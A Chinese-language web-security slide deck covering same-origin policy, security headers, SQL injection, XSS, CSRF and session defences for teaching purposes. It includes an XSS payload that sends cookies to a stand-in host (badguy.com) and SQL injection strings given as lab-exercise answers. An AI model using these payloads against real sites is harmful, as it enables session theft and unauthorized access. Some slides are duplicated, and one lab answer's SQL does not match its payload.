# 經典駭客攻擊教程 --- ### 章節 * Same Origin Policy * HTTP Security Headers * SQL Injection * Cross Site Scripting (XSS) * Cross-site request forgery (CSRF) --- ## Same Origin Policy ---- > 「同源」資源才可相互存取,跨來源資源則必須在某些特定情況下,才允許存取。 同源政策是為了防範駭客的攻擊,因為有了這個限制,在正常的情況下,駭客就不能夠任意用一個惡意的網站,去呼叫 facebook 的網路服務。 ---- 萬一沒有這層防護,駭客就可以任意觸發 facebook 的網路服務裡的刪除留言或是新增留言,在你的 facebook 頁面搞破壞了。 <!-- .slide: style="font-size: 30px; text-align: left;" --> ---- #### 「同源政策」(Same Origin Policy) 是網站安全的基礎,又分為兩種: * DOM 的同源政策 * Cookie 的同源政策 <!-- .slide: style="font-size: 30px;" --> ---- ### DOM 同源政策規則 ![](https://i.imgur.com/ulTmiXD.png) 對 DOM 的同源政策來說,只要 Scheme、Domain 跟 Port 一致的資源,就會被視為同源 ---- ### DOM 同源政策範例 #### 以下為一個範例,比較表格內的「資源」,來看是否與下列「HTML檔案」同源 http://login.game.com/dir/page.html ![](https://i.imgur.com/apCOGAh.png) <!-- .slide: style="font-size: 25px;" --> ---- ### DOM 同源政策潛在的安全問題 * 「同源政策」(Same Origin Policy) 允許對於 HTML tag 產生的 跨來源寫入/嵌入/讀取,但對於JavaScript 程式碼 產生的 跨來源寫入/嵌入/讀取是有限制的。 * DOM 的同源政策規範對於連結(links)、重新導向(redirect)、或是表單(form)等等的跨來源存取是寬鬆的,這樣的特性會被駭客利用在 CSRF 等類型的攻擊上。 <!-- .slide: style="font-size: 30px;" --> ---- ### Cookie 同源政策 只要 Domain 跟 Path 一致的 Cookie ,就會被視為同源.若是 Cookie 有加上一些特別的設定,便需要判斷 Scheme 是 HTTPS 或是 HTTP 才會送出 Cookie。 ![](https://i.imgur.com/GmZ2VkB.png) <!-- .slide: style="font-size: 28px;" --> ---- ### Cookie 同源政策限定行為 1. 不同源的 Cookie ,在傳輸時會送到各自來源的主機。 2. 經過設定,子網域與母網域的 Cookie 可以共用。 <!-- .slide: style="font-size: 30px;" --> ---- ### Cookie 同源政策潛在的安全問題 * 通過共用設定,子網域的 JavaScript 程式碼可以修改/覆蓋母網域的 Cookie <!-- .slide: style="font-size: 30px;" --> --- ## HTTP Security ---- ### URL Parameter Leakage ? `http://shopping.com?user=jayden&pass=mypass12345` 若是在網址上的參數 (query string),帶上敏感的資訊,例如:使用者的密碼,使用者的信用卡號碼等等.便有可能會無意間間這些敏感資訊外洩。這樣的事情,便稱為URL Parameter Leakage。 以下是幾種 URL Parameter Leakage 發生途徑: * Referer Request Headers * 瀏覽器書籤 * 瀏覽器瀏覽紀錄 * Proxy 主機日誌 * 網站主機日誌 <!-- .slide: style="font-size: 20px;" -> ---- 駭客送 HTTP Request,就像是填表遊戲。駭客會自行填寫各種不同的 HTTP Request,來發動攻擊。我們無法控制駭客要送什麼 HTTP Request,那我們該怎麼防禦呢? <!-- .slide: style="font-size: 30px; text-align: left;" --> ---- 透過設定Response Headers做駭客Request防禦 ![透過R](https://i.imgur.com/SLAsupD.png) <!-- .slide: style="font-size: 30px;" --> ---- ### 保護網站之 HTTP Response headers - 1 * 利用`X-Frame-Options`的設定來避免Clickjacking(被惡意網站嵌入): * `DENY` * `SAMEORIGIN` * `ALLOW-FROM https://${allow-host}.com/` * 設定`X-XSS-Protection`設定來避免XSS攻擊: * `X-Xss-Protection: 1; mode=block` <!-- .slide: style="font-size: 30px;" --> ---- ### 保護網站之 HTTP Response headers - 2 * 利用`Access-Control-Allow-Origin`的設定來限縮可使用的資源跟控制: Access-Control-Allow-Origin:https://example.com Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET * 利用`strict-transport-security`確保你的網站都在安全的 HTTPS 下進行操作 <!-- .slide: style="font-size: 30px;" --> ---- ### 保護網站之 HTTP Response headers - 3 * 利用`X-Content-Type-Options`的設定來避免 MIME sniffing 攻擊: X-Content-Type-Options: nosniff * 設定`Access-Control-Allow-Origin`為跨源存取設定: Access-Control-Allow-Origin:https://example.com Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET <!-- .slide: style="font-size: 30px;" --> ---- ### 保護 Cookie 的 Header 設定 * 設定了 HttpOnly 的 Cookie 無法被客戶端的 JavaScript 程式碼存取,避免潛在的安全問題。 Set-Cookie: myCookie=parent; Path=/hello ; domain=game.com; HttpOnly * 設定了 Secure 的 cookie 只能在使用 HTTPS 的情況下被傳輸: Access-Control-Allow-Origin:https://example.com <!-- .slide: style="font-size: 30px;" --> ---- ### Content Security Policy 語法範例 Content-Security-Policy: <規範> <來源>; Content-Security-Policy: <規範> <來源> <來源>; Content-Security-Policy: script-src http://*.example.com; Content-Security-Policy: script-src http://*.example.com game.com; 常用規範 report-uri :使用report模式,將資料回傳到某個網址 default-src :某些來源如果沒有設定,預設就會採用default-src 而以下列出幾種預設不會採用default-src的設定 base-uri, form-action, frame-ancestors, report-uri <!-- .slide: style="font-size: 30px;" --> ---- ### Content Security Policy * Host 來源 http://*.example.com mail.example.com:443 https://store.example.com * Scheme 來源 在<來源>的區塊,可以只指定scheme,如下面例子所示: Content-Security-Policy: default-src https: data:; * 其他 'none' :禁止任何的來源 'self':只允許同源的來源 (scheme, domain, port 相同) 'unsafe-inline':允許 inline 的 JavaScript 或是 CSS 樣式 'unsafe-eval': 允許 JavaScript 中的危險函式,例如:eval <!-- .slide: style="font-size: 30px;" --> ---- ### 公司網站後台範例 ![](https://i.imgur.com/JSb3T4y.png) <!-- .slide: style="font-size: 30px;" --> --- ## SQL Injection ---- ## SQL Injection原理說明 SQL 是網站常用來取得資料的程式語法,SQL Injection 便是駭客透過修改 SQL 語句,改變他的語意,達成竊取資料/破壞資料的行為。 <!-- .slide: style="font-size: 30px; " --> ---- 駭客攻擊所填寫的SQL語句範例 ![](https://i.imgur.com/BtmTLoA.png) ---- 如此一來駭客就會將`password=XXXX`這個錯誤的布林值用`or'1'='1'`給覆寫掉,達到攻擊的效果。 ---- ### SQL Injection Lab 範例練習 > 如沒portswigger會員,先到[portswigger](https://portswigger.net/)註冊會員 * [查詢隱藏的資料](https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data) * [繞過登入驗證](https://portswigger.net/web-security/sql-injection/lab-login-bypass) ---- ### SQL Injection Lab 範例練習解答 1. 輸入網址`https://feifei.tw/products?category=Gifts'+OR+1=1--` * SQL語句 SELECT * FROM products WHERE category = 'Gifts' AND released = 1 3. 找到登入頁面輸入帳號`administrator'--` 密碼隨意 * SQL語句 SELECT * FROM users WHERE username = 'administrator'--' AND password = '' <!-- .slide: style="font-size: 30px;" --> ---- #### SQL Injection Query Parameterization 的防禦手法 * Query Parameterization 防禦的原理主要在於: 先產生 Execution plan 再帶入使用者輸入的參數不使用組字串的方式產生 SQL <!-- .slide: style="font-size: 30px;" --> ---- 資料庫執行SQL的時候,資料庫都會先產生 Execution plan,之後依照 Execution plan執行程式. ![](https://i.imgur.com/MROTXFV.png) <!-- .slide: style="font-size: 22px;" --> ---- * Query Parameterization 的程式寫法,事先將 SQL 產生 Execution plan,之後再帶入使用者輸入的參數,若帶入使用者的參數後,造成 Execution plan 與預先產出的Execution plan不同,便會報錯誤.讓使用者輸入的參數無法被正常執行。 * 因此,若駭客輸入惡意的字串,造成 Execution plan 與不同與預先產出的 Execution plan 不同,那麼駭客的惡意字串便不會被執行,達成防禦駭客的目的 <!-- .slide: style="font-size: 30px;" --> --- ## Cross Site Scripting (XSS) ---- ## Cross Site Scripting原理 Cross Site Scripting 簡稱(XSS) 是一種網站應用程序的安全漏洞攻擊,是代碼注入的一種。它允許惡意用戶將代碼注入到網頁上,其他用戶在觀看網頁時就會受到影響。這類攻擊通常包含了HTML以及用戶端腳本語言 <!-- .slide: style="font-size: 30px;" --> ---- ## XSS 攻擊概念 概念上有點像是埋一個地雷在受害的網頁上,該網站的使用者只要一連上該網頁,便會遭受攻擊.以譬喻的方式來說,你可以想像,XSS 攻擊就像是駭客在網站上蓋的違章建築,並且在那些違章建築裡面,做一些邪惡的勾當。 <!-- .slide: style="font-size: 30px;" --> ---- ### XSS的三種類型 * Reflective XSS * Persistent XSS * Dom-based XSS ---- #### Reflective XSS攻擊原理 * 最常見的 XSS 攻擊類型,通常是將惡意程式會藏在網址列裡,放在 GET 參數傳遞,範例如下: http://www.example.com/upload.asp?id=<script>alert(1);</script> * 這種手法要能夠成功攻擊,需要使用社交工程釣魚的技巧,使 User 點擊URL 攻擊才會生效。 * 因為 URL 通常看起來很詭異,所以 Hacker 通常會使用短網址或 HTML Encoder 的方式嘗試欺騙 User <!-- .slide: style="font-size: 30px;" --> ---- 假設一個Shopping網站有Reflective XSS漏洞 ![](https://i.imgur.com/BdXpLY1.png) <!-- .slide: style="font-size: 22px;" --> ---- 該網站直接將使用者搜尋的輸入,直接顯示在網頁上,正常的使用者輸入了 shoes,那麼預期網頁上就會顯示 shoes。(正常使用者的輸入 ![](https://i.imgur.com/7SEmJeo.png) <!-- .slide: style="font-size: 22px;" --> ---- 然而,對於駭客來說,他可以直接輸入程式碼,例如: ![](https://i.imgur.com/xAOl5yp.png) <!-- .slide: style="font-size: 22px;" --> ---- * 「 ?」可以替換成各種惡意攻擊的程式碼.讓該惡意程式碼在網頁上被執行。 * 例如:偷取你在 shop.com 的 Cookie。 `http://www.shop.com/search?query=<script>document.location='http://badguy.com/cookiestealer.php?c='+document.cookie;</script>` * 只要你誤點了上面的網址之後,你的 Cookie 就會被送到駭客的網站 badguy.com,駭客取得 Cookie 之後,就可以登入你在 shop.com 的帳號了。 * 由於這項攻擊的惡意程式碼是被輸入的當下馬上被執行,有反射的感覺,因此被稱為Reflective XSS。 <!-- .slide: style="font-size: 30px;" --> ---- #### Reflective XSS 攻擊示意圖 ![](https://i.imgur.com/nqZmeyc.png) ---- ### Persistent/Stored XSS攻擊原理 Persistent/Stored XSS 的概念,同樣也是在網頁埋地雷,當使用者連到該網頁時,便會遭受到攻擊.但不同於 Reflective XSS 的是,該惡意程式碼是被存到網站的資料庫裡面的.惡意程式碼不是當下被輸入的。 <!-- .slide: style="font-size: 30px;" --> ---- #### 舉例來說,有一個心情留言板上面有XSS的漏洞.直接將使用者留言顯示在頁面上。 ![](https://i.imgur.com/Azd52v8.png) <!-- .slide: style="font-size: 20px;" --> ---- (具有XSS漏洞的心情留言板) 正常使用者會留下正常的字串,而駭客會在留言板裡面留下惡意程式碼, 如下圖的第三筆留言,便是駭客可能會留下的內容。 ![](https://i.imgur.com/G1odpHq.png) <!-- .slide: style="font-size: 20px;" --> ---- #### Persistent/Stored XSS 攻擊示意圖 ![](https://i.imgur.com/ymhmP3T.png) ---- #### Dom-based XSS攻擊原理 Dom-based XSS 的攻擊原理跟 Reflective XSS 攻擊原理相似,差別只在 Reflective XSS 有經過 Server 端,而 Dom-based 的攻擊只發生在 Client 端。 <!-- .slide: style="font-size: 30px;" --> ---- #### Dom-based XSS 攻擊示意圖 ![](https://i.imgur.com/m29H0zy.png) ---- #### XSS 範例練習 如沒portswigger會員,先到[portswigger](https://portswigger.net/)註冊會員 * [Reflected XSS](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded) * [Stored XSS](https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded) * [DOM XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink) <!-- .slide: style="font-size: 33px;" --> ---- ### XSS防禦手法 Contextual Output Encoding * 防禦 Cross site scripting 就是防禦駭客在你的網頁裡面埋地雷。先前的文章已經有提過,透過過濾字串的方式不可行.駭客還是有可能繞過這些過濾。 * 正確的方式是要針對網頁不同的情境(Context),在網頁輸出時做特殊編碼的處理,讓原本會被瀏覽器認為程式碼的內容,當成非程式碼處理。 <!-- .slide: style="font-size: 33px;" --> ---- 透過Encode使程式碼便成非程式碼 ![](https://i.imgur.com/Is7DPLb.png) 這種處理方式便稱為Contextual Output Encoding的防禦手法。 <!-- .slide: style="font-size: 33px;" --> ---- ### 網頁上的Context * HTML Entity Context * HTML Attributes Context * URL Fragment Context * Script Context * Style Context <!-- .slide: style="font-size: 32px;" --> ---- 這五個地方,都是駭客可能會插入惡意程式碼的地方,當駭客有機會將輸入的資料在這五個地方輸出的時候,便需要有相對應的編碼處理過,才可以輸出。 ![](https://i.imgur.com/WIyO98i.png) <!-- .slide: style="font-size: 18px;" --> ---- ### 什麼是相對應的編碼處理? 為了方便大家了解,以 HTML Entity Context 的轉換為例: * `& 會被轉換成 &amp;` * `< 會被轉換成 &lt;` * `> 會被轉換成 &gt;` * `“ 會被轉換成 &quot;` * `‘ 會被轉換成 &#x27;` * `/ 會被轉換成 &#x2F;` <!-- .slide: style="font-size: 28px;" --> ---- 這部分轉換的程式是不需要自己重新實作的,可已根據你開發網站使用的程式語言,找相對應的函式庫使用。 例如:Java的網站就可以使用 [OWASP Java Encoder Project](https://owasp.org/www-project-java-encoder/) 提供的函式庫來進行使用 <!-- .slide: style="font-size: 28px;" --> --- ## Cross-site request forgery (CSRF) ---- 根據維基百科的定義,CSRF 的全名是 Cross-site request forgery,跨站請求偽造也被稱為 one-click attack 或者 session riding,通常縮寫為 CSRF 或者 XSRF, 是一種挾制用戶在當前已登錄的Web應用程序上執行非本意的操作的攻擊方法。跟 XSS 相比,XSS 利用的是用戶對指定網站的信任,CSRF 利用的是網站對用戶網頁瀏覽器的信任。 <!-- .slide: style="font-size: 30px; text-align:left;" --> ---- # CSRF 譬喻舉例 有如小明在駭客家「無意間」打電話給媽媽,請她買電腦給你。媽媽接到的確實是小明打出來的電話,也是小明的聲音。這跟在正常情況下,小明從宿舍「有意」播出的電話,請媽媽買電腦的情況一模一樣.一但媽媽真的買了電腦,變中了駭客的攻擊了。 ![](https://i.imgur.com/AgABDsw.png) <!-- .slide: style="font-size: 13px;" --> ---- # CSRF攻擊簡介 可以把媽媽想像成你的網站 Server,小明是你的網站使用者。他「無意間」從駭客的網站發出來一個 HTTP Request,這個 HTTP Request 確實是小明發出的,它送出來的 Cookie 認證,也確實是小明,但小明其實並不知道/也不希望你幫他買電腦,一但你的 Server 替小明下單,那麼駭客的攻擊就生效了。 ![](https://i.imgur.com/5HO7ts7.png) <!-- .slide: style="font-size: 13px;" --> ---- #### 漏洞的原因: Same Origin Policy 的不足之處 如遇到同源規則不符的情況 * Request by script: 會阻擋 * Request by HTML tag: 不會阻擋 ---- #### 圖解 Same Origin Policy 的不足之處 ![](https://i.imgur.com/XQzLAmJ.png) ---- ## 瀏覽器處理 Cookies 的方式 > 如果是對同 domain 對象發出的 HTTP Request,瀏覽器便會將該 domain 的 Cookies 也一併送出。在 CSRF 攻擊中,由於發送 HTTP Request 是某個受害的網站(例如:Netflix),該網站的 Cookies 也會一並被送出,造成認證通過,使攻擊生效. ![](https://i.imgur.com/jzkWt4M.png) <!-- .slide: style="font-size: 12px;" --> ---- ## CSRF攻擊原理 簡單來說, CSRF 透過 Same Origin Policy對於 HTML tag Request 不設防的特性,發送有效的 Request ,再利用瀏覽器對 Same Site Cookies的處理方式,使攻擊生效.受害網站還以為是使用者自願發出的 HTTP Requests。因為一點擊,攻擊就生效,所以CSRF 被稱為 one-click attack .駭客用你的Cookies 對 信任你 Cookies 的網站,發起了一個你不知道 Request .在你不知情之下,可能把你的email清空,發了你不知道的 PO 文,或是買了你不知道的東西. ![](https://i.imgur.com/qpkVQ4x.png) <!-- .slide: style="font-size: 12px;" --> ---- #### Synchronizer Token Pattern 防禦方式的利與弊 CSRF 的正確防禦觀念應該是,「如何確認發送 Request 的來源是合法的來源?」,例如: * 刪除 gmail 信件的 HTTP Request 就應該從 gmail 發出.而不是從某個奇怪的心理測驗網站,按下「開始測驗」卻是發 HTTP Request到gmail 刪除郵件。 <!-- .slide: style="font-size: 33px;" --> ---- ## Synchronizer Token Pattern 的原理 Synchronizer Token Pattern 就是利用相同的原理.使用者在發 HTTP Request 的時候,需要將「目前頁面的某個特徵」回傳給「Server」,確認使用者是從正常的網頁發出的 Request。 ![](https://i.imgur.com/74AzmQT.png) <!-- .slide: style="font-size: 12px;" --> ---- ## 正常的網站取出token值回傳 那個「目前頁面的某個特徵」就是存在HTML裡面的 CSRF token,當作隱藏欄位往 Server 送 ![](https://i.imgur.com/ojpFhvl.png) <!-- .slide: style="font-size: 12px;" --> ---- #### 這個 CSRF token必須符合以下條件: * 在 Server 端根據這個 Session 存一個 CSRF token * 每次進入該頁面,CSRF token都要變,具有時效性 * 要在使用者已登入的頁面才能取得 CSRF token * csrf token值必須是不可預測的 ---- CSRF 是透過 HTML 標籤發送 Request ![](https://i.imgur.com/rSqXb7k.png) ---- 駭客無法用程式取得token值示意圖 ![](https://i.imgur.com/hV73DwE.png) ---- #### Synchronizer Token Pattern 有效的原因 1. 因為根據 Same Origin Policy,Client 端的程式是無法讀取不同 Origin 的內容的. 2. 單用 HTML 標籤可以取得整頁 HTML 內容,可是爬不出 CSRF token 的值 ---- #### Synchronizer Token Pattern 的好處 好處是可以簡單的達到防禦 CSRF 的效果。 ---- #### Synchronizer Token Pattern 的壞處 * 若是頁面有 XSS 漏洞,那麼 CSRF token就可以被駭客「用程式爬取出 CSRF token的值」,此防禦就無效了。 * 必須在 Server 端也存放 CSRF token,會額外佔據server的儲存空間。 ---- ## Double Submit Cookie 原理 Double Submit Cookie 的方式也是透過在發送 HTTP Reuqet 時多傳一個 csrf token,只有在正常的網站,才會有那個 CSRF token 值.駭客的網站是無從知道的。 ![](https://i.imgur.com/5hyVb7a.png) <!-- .slide: style="font-size: 12px;" --> ---- ### Double Submit Cookie 作法 * 在使用者造訪網站的時候,先在給使用者的 Cookie 裡面放上 CSRF token,同時也在 HTML 頁面裡面放上一份 CSRF token。 * 當使用者發送 HTTP Request 的時候,便會同時帶上 Cookie 裡面的 CSRF token ,以及 HTML 裡面的 CSRF token.送給 Server 端。 * 此時,Server 端只要比較: Cookie 裡面的 CSRF token 值,和使用者送出來的 CSRF token 是否一致 <!-- .slide: style="font-size: 30px;" --> ---- 就可以知道使用者送出 HTTP Request 的時候,來源是否是正常的網站了。以譬喻的方式來說,以譬喻來說,小明是否從宿舍打電話給媽媽,媽媽只要比對視訊中的宿舍模樣跟照片中的宿舍是否一致就可以了。無需記得宿舍的長相。 ![](https://i.imgur.com/uIHQ6EG.png) <!-- .slide: style="font-size: 12px;" --> ---- ### Double Submit Cookie 作法 * 在使用者造訪網站的時候,先在給使用者的 Cookie 裡面放上 CSRF token,同時也在 HTML 頁面裡面放上一份 CSRF token。 * 當使用者發送 HTTP Request 的時候,便會同時帶上 Cookie 裡面的 CSRF token ,以及 HTML 裡面的 CSRF token.送給 Server 端。 * 此時,Server 端只要比較: Cookie 裡面的 CSRF token 值,和使用者送出來的 CSRF token 是否一致 <!-- .slide: style="font-size: 25px;" --> ---- ### Double Submit Cookie 有效的原因 * 這邊要說明,這樣的觀念是錯誤的.問題出在「用程式串改 Cookie 值跟 CSRF token 值」是不可行的.根據 Same Origin Policy ,駭客的網站的程式是無法存取跟修改其他網站的 Cookie 跟 HTML 頁面的。 * 駭客的網站的程式是無法存取跟修改其他網站的 Cookie 跟 HTML 頁面 <!-- .slide: style="font-size: 25px;" --> ---- #### Double Submit Cookie 的好處 好處是可以簡單的達到防禦 CSRF 的效果。 不需要在 Server 端存放額外的空間。 ---- #### Double Submit Cookie 的壞處 若是頁面有 XSS 漏洞,那麼 CSRF token就可以被駭客「用程式串改 Cookie 值跟CSRF token值」,此防禦就無效了.建議將 CSRF token 在 cookie 儲存時,設定屬性為 HTTP Only.讓它不被Client端的程式隨意的修改。 ---- #### Triple-Submit Cookie 原理 > 前兩篇篇提到的 Synchronizer Token Pattern 是將 csrf token 存一份在 Server 端.而 Double Submit Cookie 的方法,是將 csrf token 存在瀏覽器的 cookie 裡面,讓 server 不需要多儲存 csrf token 這個值。 > 本篇要介紹的 Triple Cookie Submit 防禦方式,綜合了上述兩種做法。 ---- > 對於網站來說,便是「如何確認發送 Request 的來源是合法的來源?」。基本上 CSRF 的防禦方式,都是需要多傳一個 csrf token 來確認使用者目前的位置。 > ![](https://i.imgur.com/4MYJLp7.png) ---- > Triple Submit Cookie 在使用者拜訪頁面的時候,就先跟使用者做了「約定」。將 csrf token 的 name 和 value 放在 Cookie,存在使用者的瀏覽器,並備份一份 csrf token 的 name在 server 端。另外也存一份 csrf token的 value 在 JavaScript 的變數裡面。 > ![](https://i.imgur.com/xPhxHrV.png) ---- 當使用者發送 HTTP Request 的時候,Server 會判斷 csrf token name 是否跟 Cookie 中的 csrf token name 相等。另外也會判斷回傳的 csrf token value 是否跟 Cookie 中的 csrf token value 相等。 ![](https://i.imgur.com/j7xOgHf.png) ---- #### Triple Submit Cookie 好處 綜合了 Synchronizer Token Pattern 以及 Double Submit Cookie 的方法,將csrf token 分為name和 value 分別存在 Server 與 Client 端,讓駭客更難破解。 ---- #### Triple Submit Cookie 壞處 * 需要額外的儲存空間,在 Server 端維護一份 csrf token name 的值 * 若是頁面有 XSS 漏洞的話,駭客便可以取得 csrf token name 以及 value 做串改.使這個防禦方式失去效果 ---- #### CSRF 範例練習 [CSRF - no defenses](https://portswigger.net/web-security/csrf/lab-no-defenses) [CSRF - request token](https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method) ---- #### 如何利用瀏覽器來防禦 CSRF 攻擊 ---- > 前幾篇說明了幾種 CSRF 的防禦方式.主要是透過csrf token的方式,這個方式在許多知名的應用程式框架都有支援,利如:Spring、Ruby on Rails、Django 等等.除了這類的防禦方式之外,隨著瀏覽器的發展,現在我們也可以透過啟用瀏覽器的防禦來防範 CSRF 攻擊了。 >本篇要介紹的,是Google推行的標準 SameSite Cookie 設定。 ---- ### SameSite Cookie 的防禦思路 * 先前介紹的幾種 CSRF 的防禦方式,其思路都是 「如何確認發送Request的來源是合法的來源?」,而 SameSite Cookie 的思路則是要「讓惡意的來源連發送合法的Request沒有辦法」。 * 回顧先前的例子,CSRF 攻擊便是媽媽要判斷小明是否是在宿舍發出要買電腦的訊息,還是在駭客家發出要買電腦的訊息。 <!-- .slide: style="font-size: 30px;" --> ---- ### SameSite Cookie 改變了什麼 原本瀏覽器的行為是:不管你現在在哪一個網站,假設你在 aaa.com ,一但你連上 bbb.com (等同發一個HTTP Request),瀏覽器會自動帶上 bbb.com 的 cookie 給你。 原本的設計立意良善,因為這樣一來,你連到 bbb.com 的時候,因為帶上的bbb.com的 cookie ,所以在 bbb.com 就能維持著登入的狀態。 <!-- .slide: style="font-size: 30px;" --> ---- 然而, CSRF 攻擊便是駭客利用這種瀏覽器 「自動帶cookie」的特性,來發動攻擊。 ![](https://i.imgur.com/G5CukmS.png) <!-- .slide: style="font-size: 18px;" --> ---- 因為從駭客網站發出來的 HTTP Request 也會帶 Cookie ,跟正常網站發出來的HTTP Request 一樣.造成攻擊生效。 Same Site Cookie 的設定便是要改變這個行為,原本瀏覽器只判斷 HTTP Request 的「對象」來帶 Cookie ,現在要求要同時判斷 HTTP Request 的「來源」是否跟「對象」為同源,才決定要不要自動帶Cookie。 <!-- .slide: style="font-size: 25px;" --> ---- (Same Site Cookie的設定讓跨Origin的 Cookie 無法被傳遞) ![](https://i.imgur.com/7YSnBjl.png) <!-- .slide: style="font-size: 20px;" --> ---- #### SameSite Cookie 的設定 由於跨來源便不會帶上 Cookie 會使得使用者比較不方便.舉例來說,你從某個網站點到某個購物網站的時候,由於都不會帶 Cookie,因此你就需要重新登入或是刷新頁面才會登入.造成不好的使用者體驗. <!-- .slide: style="font-size: 35px;" --> ---- 因此 SameSite Cookie 提供兩種設定: 1. Strict (強制瀏覽器對所有跨來源的 HTTP Request 來源都不會自動帶 Cookie) `Set-Cookie: NAME=VALUE; expires=EXPIRES;path=PATH; domain=DOMAIN;secure; httponly; SameSite=Strict;` 2. Lax (對部分的 HTTP GET Request 開放帶 Cookie) `Set-Cookie: NAME=VALUE; expires=EXPIRES;path=PATH; domain=DOMAIN;secure; httponly; SameSite=Lax;` <!-- .slide: style="font-size: 18px;" --> --- ## Authentication ---- # Session最佳實踐 * Step 1. 使用者登入畫面 確保網站是使用 HTTPS 連線,避免封包被監聽,使用者密碼外洩。 所有client端對 Login form 的驗證都是沒有用的。 * Step 2. 處理使用者登入資訊 使用者資訊通常在資料庫裡面,比對資料庫資料時,確保程式碼沒有SQL Injection的漏洞。 * Step 3. 創立Session,儲存Session Id,並回傳Cookie給瀏覽器 確保 Cookie 設定為 Http Only。 創立 Session Id 的時候確保資料是唯一的,不可被預測的。 * Step 4. 操作敏感資料時或是閒置太久,要求使用者重新登入 Session 是有時效性的,若是 Session Id 固定不變,用久了會增加外洩的風險,跟某些銀行定期要求你換密碼是同樣的概念。 * Step 5. 閒置太久的使用者,關閉Session <!-- .slide: style="font-size: 18px;" --> ---- # 如何防範 Cookie 小偷 1. 使用 Http Only,避免 cookie 被 JavaScript 程式碼存取 2. 使用 expires,降低 Session Id 外洩的風險 3. 使用 secure,確保在 HTTPS 底下傳送,不會被駭客竊聽取得 Cookie 4. 使用 SameSite功能,避免 CSRF 攻擊 5. 使用 Contextual Output Encoding 避免 XSS 盜取 Cookie <!-- .slide: style="font-size: 30px;" --> ---- ## Session Prediction 攻擊 * 若是你的 Session Id 複雜度不夠,太容易被駭客猜測。駭客就可以利用猜測出來的 Session Id 進行攻擊。 * 例如:你網站的 Session Id 是 `20180505225833jayden` <!-- .slide: style="font-size: 30px;" --> * 正確的防禦方式為: 盡量使用 Web Framework 中內建的 Session Id ,通常大眾使用的 Web Framework 中的Session 管理有一定的安全性,不要自己實作反而造成漏洞。 ---- ## Session Fixation 攻擊 ---- * 若是你的 Session Id 設計成固定的,舉例來說:就像是一個認識別證號碼不認人的俱樂部,其識別證號碼固定 100 組在發.駭客可以先註冊俱樂部,取得其中一組有效的識別證號碼.再騙使用者報這一組張識別證號碼去參加俱樂部。 * 等使用者使用這組識別證號碼過一段時間後,駭客再報這組識別證號碼進入會場.此時俱樂部裡面就會同時有兩個不同的人,卻使用同一組識別證號碼.俱樂部會把這兩個人視為同一人.共享所有資訊。 * Session Fixation 攻擊就是利用同一組 Session Id,但實際上卻是兩個不同的人(駭客跟受害的使用者).來達到攻擊的效果 <!-- .slide: style="font-size: 30px;" --> ---- ### 正確的防禦方式便是: 1. Session Id 必須每次登入時都不同的值,才不會被駭客拿來做壞事 2. Session Id 不應該用GET的方式傳遞,避免外洩 3. 頁面不可以有 XSS 漏洞,否則 Session Id 會被竊取 4. 存放 Session Id 的 Cookie 應該設定為 Http Only 5. 存放 Session Id 的 Cookie 應該 secure,確保只在 HTTPS 下傳送 <!-- .slide: style="font-size: 30px;" --> ---- ## Session Hijacking 攻擊 HTTP 網路連線是不安全沒有加密的,因次當使用者在公共場所或是其他不安全的網路連線下,該網路是有可能被駭客竊聽(sniffing)的.當駭客取得網路封包之後,可以得知使用者透過 Cookie 傳送的 Session Id. 正確的防禦方式便是: 1. 登入頁面務必使用 HTTPS 連線,避免被駭客竊聽 2. 存放 Session Id的 Cookie 應該 secure,確保只在 HTTPS 下傳送 <!-- .slide: style="font-size: 30px;" --> ---- ### 密碼怎麼管理?怎樣加密才安全? ---- ## 1. 要擋掉常見的密碼 可以搜尋 rockyou.txt,這個檔案裡面列出許多常見的密碼,例如:qwerty, 12345678等等。 http://scrapmaker.com/data/wordlists/dictionaries/rockyou.txt <!-- .slide: style="font-size: 30px;" --> ---- 1. 要擋掉常見的密碼 可以搜尋 rockyou.txt,這個檔案裡面列出許多常見的密碼,例如:qwerty, 12345678等等。 http://scrapmaker.com/data/wordlists/dictionaries/rockyou.txt <!-- .slide: style="font-size: 25px;" --> 2. 需要限制密碼「至少」幾個字元 (至少8個字元以上) 3. 常見的密碼要求(例如:大小寫, 數字, 特殊字元) 是無用的 4. 使用現代化的雜湊算法 建議不要使用 MD5或是SHA1等較簡單的雜湊算法,建議使用 SHA 512 或 bcrypt 或是 scrypt 來作加密。 5. 「鹽」 (Salt) 必須是隨機的,並且每個使用者的鹽不同 ---- <!-- .slide: style="font-size: 25px;" --> 案例:Facebook是怎麼保存你的密碼 從程式碼我們可以看出,facebook 儲存密碼的方式也是透過類似的方式,先經過幾次雜湊算法之後,再加鹽之後再經過雜湊算法.一層一層地加密。 ![](https://i.imgur.com/abE4tOh.png) --- 自動化掃描漏洞 ---- 由於本課程主要會以講解漏洞原理以及防禦手法為主,一來,若是不懂漏洞原理,工程師看到掃出來的結果,不一定能以正確的方式修復,二來,以業界的經驗來說,除了自動化工具之外,系統還是要搭配專業的資安人員以黑箱和白箱的方式進行檢測。 <!-- .slide: style="font-size: 30px;" --> ---- * 在學完了所有的課程內容之後,這邊要跟同學介紹幾個常見的自動化掃描漏洞的方式。 * 白箱測試 & Static Scan 白箱測試,是指測漏洞的人看得到實際的程式碼,因此可以依據程式邏輯來決定測試資料的輸入值要如何設計。使用 veracode, checkmarx 等工具是常見用來做白箱測試的工具。 * 黑箱測試 & Dynamic Scan 黑箱測試,是指測漏洞的人看不到實際的程式碼,模擬真實駭客入侵的情境,使用 veracode 的 DAST 功能是常見用來做黑箱測試的工具 <!-- .slide: style="font-size: 30px;" --> ----
{"metaMigratedAt":"2023-06-17T05:47:32.040Z","metaMigratedFrom":"YAML","title":"經典駭客攻擊教程","breaks":true,"contributors":"[{\"id\":\"ce395477-5d1f-449f-97a4-75d484b4ccbc\",\"add\":26245,\"del\":5112}]","description":"Same Origin Policy"}
    575 views